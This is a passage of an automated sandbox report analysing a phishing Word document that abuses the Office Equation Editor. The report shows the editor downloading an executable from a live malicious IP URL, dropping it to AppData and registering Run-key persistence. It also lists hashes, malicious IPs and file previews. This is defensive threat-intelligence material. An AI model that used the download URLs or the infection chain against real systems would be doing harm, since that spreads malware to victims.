Name	Malicious	Antivirus Detection	Reputation
76.8.53.133	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://208.67.105.179/fifthikmerozx.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.piriform.com/ccleaner	powershell.exe, 00000006.00000003.984768254.00000000004BB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://208.67.105.179/fifthikmerozx.exej	EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	powershell.exe, 00000006.00000003.984768254.00000000004BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/syohex/java-simple-mine-sweeperC:	fiftikmernk852317.exe, 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp	false		high
http://208.67.105.179/fifthikmerozx.exerrC:	EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://208.67.105.179/fifthikmerozx.exe.	EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/syohex/java-simple-mine-sweeper	fiftikmernk852317.exe	false		high
http://www.piriform.co	powershell.exe, 00000006.00000002.988213966.0000000000502000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://208.67.105.179/fifthikmerozx.exelateC:	EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
76.8.53.133	unknown	United States		17185	QUONIXNETUS	true
208.67.105.179	unknown	United States		20042	GRAYSON-COLLIN-COMMUNICATIONSUS	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679658
Start date and time: 06/08/202208:56:52	2022-08-06 08:56:52 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	New Order ( MY 01-22-DTHI .doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winDOC@9/11@0/2
EGA Information:	Successful, ratio: 75%
HDC Information:	Successful, ratio: 37.4% (good quality ratio 35.7%) Quality average: 81.1% Quality standard deviation: 27.4%
HCA Information:	Successful, ratio: 98% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .doc Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, conhost.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 104.208.16.94, 20.189.173.21, 104.208.16.93, 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdcus07.centralus.cloudapp.azure.com, onedsblobprdeus17.eastus.cloudapp.azure.com, watson.microsoft.com, onedsblobprdwus16.westus.cloudapp.azure.com, legacywatson.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com
Execution Graph export aborted for target EQNEDT32.EXE, PID 1036 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:58:15	API Interceptor	108x Sleep call for process: EQNEDT32.EXE modified
08:58:56	API Interceptor	12x Sleep call for process: powershell.exe modified
08:58:58	API Interceptor	628x Sleep call for process: cmd.exe modified
08:58:59	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run windowsfile C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	2358784
Entropy (8bit):	2.646635659437136
Encrypted:	false
SSDEEP:	6144:5633nN00RiTwSltgxCKYPMXq9NmiQBYGhpX8x4MWy1FYCz8hJ2n3C+8Jk7UBj7A0:5633+D4pa7+o
MD5:	5AE8471C10CDB2A59B950E66F8CA8A46
SHA1:	284F5B01A3D7F404DCD9B5346D1A67A9DE0E9C6B
SHA-256:	2A83A969BE112352798176D1769378C9D3330799051DF12114B1BB8D7EF0BFB5
SHA-512:	C872B2B93BC0CE74B89DC1F8A54FA4E5356A668FD3C406EE62EB63FEEEF93E03AD59D5B23B841287A2BB0ADEF54699049F3CC7C9CDD7EA2A91253DACBA4E0344
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Reputation:	low
IE Cache URL:	http://208.67.105.179/fifthikmerozx.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[V.n5..n5..n5.^04..n5.^06..n5.^01..n5.^00..n5......n5......n5..n4.}n5.F00..n5.F05..n5.F0...n5..n...n5.F07..n5.Rich.n5.................PE..L...*..b.....................n#.....:.............@..........................P$...........@.....................................,.....!.....................@$..... ...............................@...@...............T............................text............................... ..`.rdata...4.......6..................@..@.data..... ....... .................@....gfids..`.....!......b!.............@..@.tls..........!......d!.............@....rsrc........!......f!.............@..@.reloc.......@$.......#.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	3.9463825602375584
Encrypted:	false
SSDEEP:	48:rKQ0MP7r2uYe5DxwTjnBCj+zcXKf0F4Goz:OrMP7rDYe51wTjBI/XF1+
MD5:	7F8C7ADE3B301FEF960FE2ED1E65EBB1
SHA1:	899D99088483240DDD1429CCB62394E58FCB9E6A
SHA-256:	BC5CB0703E8ACB0C8A3F21388CDE72F4379F67EC342C610A19A4E369FB19142F
SHA-512:	8184EF481E5B5577E1B074CF2EE4044C5D0DA68E8A93D21DB873FA20E4BC03053A57AA0495A92FF9A67306AA8107EDC4B52F37C71F022A18BF1D26AC87713CAF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2B64019E-B848-4D54-A6DE-401B40718F4D}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{75D9CFFF-DE90-421C-9B13-B8173C72695C}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	10272
Entropy (8bit):	3.6137878983995697
Encrypted:	false
SSDEEP:	192:HELnaSTP2CC4YuwRmftbOxHisgHGOOiJtsFOX5OnFOMZyorE9FkjWqkFTGTLsBE4:HO2CC40RmhOxHiwOLEg5+kMprE9F27Et
MD5:	603335A84876AA12660E550436F49463
SHA1:	04BAD035D4A4AEE6921DE346A09634F3972905E3
SHA-256:	624E7F983806EC35127CC2B22971EA4427EDCA079B983BB158165AB47B0CFE25
SHA-512:	BC518CA365EF7A1DC29AB42FF1FF9D20206188AB916CB456DB536F179B742524F72D45BA0135D12D23E00A86524596AC9E9AA4489CA2068DCAF189E6CC863897
Malicious:	false
Reputation:	low
Preview:	?.c.l.i.c.k. .e.n.a.b.l.e. .e.d.i.t.i.n.g. .t.o. .o.p.e.n. .i.n. .r.e.a.d.a.b.l.e. .f.o.r.m.a.t.'.?.?.7.!.?.;.\|.`.$.].?.?.'...9.#.3.4.4.~.#.[.\|...\|.'.?.~.,.<.3.+.+.:...&.'.^.?.9.?.1...?.,.0..!.~.<.+.[.7.2.<.!.(.9.8.,.?.1...'.4.7.;.;.%.'.$.$.;.+.9.`.?.;.%.~.\|.<.:...@.@.<...-.5.+.^...<.4...`.?.\|.?.\|.8.,.?.?.9.~.#.+.2.+.$...+.).7.?...`.5.>.?.1.?.(.?.6.:.^.2.?.'.%._.7.-.../._.@.0.`.3.?.2.;.3.3.-.8./.^.~.2...7.,.?.4.%.].[._.2.-.+._...0.?.!.^.0.4.,.%.%.?.&.9.9.?.].^.-....<.?....?.?.%.].;.!._.?.=.0.9.'.%./.7.?.#.,.].>.4.>.=.?.7.4.?.0.?.+.9.~...?.?./...5.&.\|.6.&.=.%.-.%.?.5.5.'.)...%.9.>./.?.?.+.0.'.+...<.>.?.\|.+.-...].#...%.\|.?.~.3...`.<.:.~.?.9.?.3.[.+.].5...:...<.5.8.4.....>.@.'.6.!.8.;...4.=.!.?.\|.7.5.0.;.?.=.'...&.7.3.;.-.>...3.[.?.;.`.6.&.$.%.[.#...0...?.,.%...0.\|.`.;.'.?.[.!.&.0.5...6..=..%.?.^...6.6.<.=.1.?.0.%.7.2./.%.\|.3.0.;..`..7.0.3...<.9.?.2.-.9.-.#.9.;.&.2.'.?.`.`.5.~.<.:.;.(.'.)...:...%.,.$.%.~.%.<.4.9.4./.4.?....@.?.:.:.4.1.$.?.].?.3.`.).`.0.2.8.#.(.$.:.1.0.0.(.8.?.6.-.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\New Order ( MY 01-22-DTHI .LNK

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:54 2022, mtime=Tue Mar 8 15:45:54 2022, atime=Sat Aug 6 14:58:12 2022, length=11198, window=hide
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	4.564165251946446
Encrypted:	false
SSDEEP:	24:8Vt/XTRKJIctLJooehaOZJo3Dv3qNAu7D:8n/XT0BLJ/GTJPNA0D
MD5:	C0714287529BC5BE397AE18F355E0016
SHA1:	3BD54E065A9854A631FC5641B43883167E01D75C
SHA-256:	53C440D247757EBB45B935DC38C5A826DD98DF7C1509A8CA0B8CDD57B8133B81
SHA-512:	BD268D885C241595ADE0D220080F1194CAD44E2668B535E1324E23357B60A3761206001A7AE052E78A9827B1A8C1D39DA181C67A87B2217C99336793B48F4B8E
Malicious:	false
Preview:	L..................F.... ...6.K..3..6.K..3.....T.....+...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....hT....user.8......QK.XhT.....&=....U...............A.l.b.u.s.....z.1.....hT....Desktop.d......QK.XhT....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2..+...UG. .NEWORD~1.DOC..j......hT..hT.....r.....'...............N.e.w. .O.r.d.e.r. .(. .M.Y. .0.1.-.2.2.-.D.T.H.I. ...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\813848\Users.user\Desktop\New Order ( MY 01-22-DTHI .doc.5.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.N.e.w. .O.r.d.e.r. .(. .M.Y. .0.1.-.2.2.-.D.T.H.I. ...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.873943194306733
Encrypted:	false
SSDEEP:	3:bDuMJlz+U3HIqXCmX1iU3HIqXCv:bC4Z3HR3Hm
MD5:	74392C81A89548599B3B11D71F11044C
SHA1:	86DA8462C95F3C7E86EB9FDCE8B6AA2AA03AA402
SHA-256:	BCFC22DEFB5EA8D0A14D6C9965B65B27900229F90CEECA106F46B9FB46B5D81A
SHA-512:	D8786A4C90F44D856D91A7BF9358D1790B7F984C2FC2B87F980FCC042A83FD8ED92DB5E0407C150355428C322E6C864288FC30010709B7C5906E810BF3D256E8
Malicious:	false
Preview:	[folders]..Templates.LNK=0..New Order ( MY 01-22-DTHI .LNK=0..[doc]..New Order ( MY 01-22-DTHI .LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHH/cgQfmW+eMdln:vdsCkWtUb+8ll
MD5:	D9C8F93ADB8834E5883B5A8AAAC0D8D9
SHA1:	23684CCAA587C442181A92E722E15A685B2407B1
SHA-256:	116394FEAB201D23FD7A4D7F6B10669A4CBCE69AF3575D9C1E13E735D512FA11
SHA-512:	7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F0526515
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........15..............25.............@35..............35.....z.......p45.....x...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\18SEW5FIXHOFFJAE3AYV.temp

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5834415956890346
Encrypted:	false
SSDEEP:	96:chQCYMqRqvsqvJCwonAz8hQCYMqRqvsEHyqvJCwortAzgJKrUHEA6H6JlUVJAjp:c+soAz8+YHnorKzgwM6H6Ljp
MD5:	6325751516F9AEA8661AEF15A581CBBF
SHA1:	43C49C89157E43037F2293F86AE9283817607C70
SHA-256:	EC1C84A2A7CF4D0991039F26B04B819CBBCE3EAD99EFE275C7FB93D4E85670B5
SHA-512:	5241619762E71A38FA8CFA6BED33AE00325F61FD181F9FB7EE261E2FD2341415CD27E549656E34F027489A06473F99BFF30384BE5DF5EE1E3C73AF60291F77E8
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1.....hT....Programs..f.......:..hT.....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5834415956890346
Encrypted:	false
SSDEEP:	96:chQCYMqRqvsqvJCwonAz8hQCYMqRqvsEHyqvJCwortAzgJKrUHEA6H6JlUVJAjp:c+soAz8+YHnorKzgwM6H6Ljp
MD5:	6325751516F9AEA8661AEF15A581CBBF
SHA1:	43C49C89157E43037F2293F86AE9283817607C70
SHA-256:	EC1C84A2A7CF4D0991039F26B04B819CBBCE3EAD99EFE275C7FB93D4E85670B5
SHA-512:	5241619762E71A38FA8CFA6BED33AE00325F61FD181F9FB7EE261E2FD2341415CD27E549656E34F027489A06473F99BFF30384BE5DF5EE1E3C73AF60291F77E8
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1.....hT....Programs..f.......:..hT.....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2358784
Entropy (8bit):	2.646635659437136
Encrypted:	false
SSDEEP:	6144:5633nN00RiTwSltgxCKYPMXq9NmiQBYGhpX8x4MWy1FYCz8hJ2n3C+8Jk7UBj7A0:5633+D4pa7+o
MD5:	5AE8471C10CDB2A59B950E66F8CA8A46
SHA1:	284F5B01A3D7F404DCD9B5346D1A67A9DE0E9C6B
SHA-256:	2A83A969BE112352798176D1769378C9D3330799051DF12114B1BB8D7EF0BFB5
SHA-512:	C872B2B93BC0CE74B89DC1F8A54FA4E5356A668FD3C406EE62EB63FEEEF93E03AD59D5B23B841287A2BB0ADEF54699049F3CC7C9CDD7EA2A91253DACBA4E0344
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[V.n5..n5..n5.^04..n5.^06..n5.^01..n5.^00..n5......n5......n5..n4.}n5.F00..n5.F05..n5.F0...n5..n...n5.F07..n5.Rich.n5.................PE..L...*..b.....................n#.....:.............@..........................P$...........@.....................................,.....!.....................@$..... ...............................@...@...............T............................text............................... ..`.rdata...4.......6..................@..@.data..... ....... .................@....gfids..`.....!......b!.............@..@.tls..........!......d!.............@....rsrc........!......f!.............@..@.reloc.......@$.......#.............@..B................................................................................................................................................................................................................

C:\Users\user\Desktop\~$w Order ( MY 01-22-DTHI .doc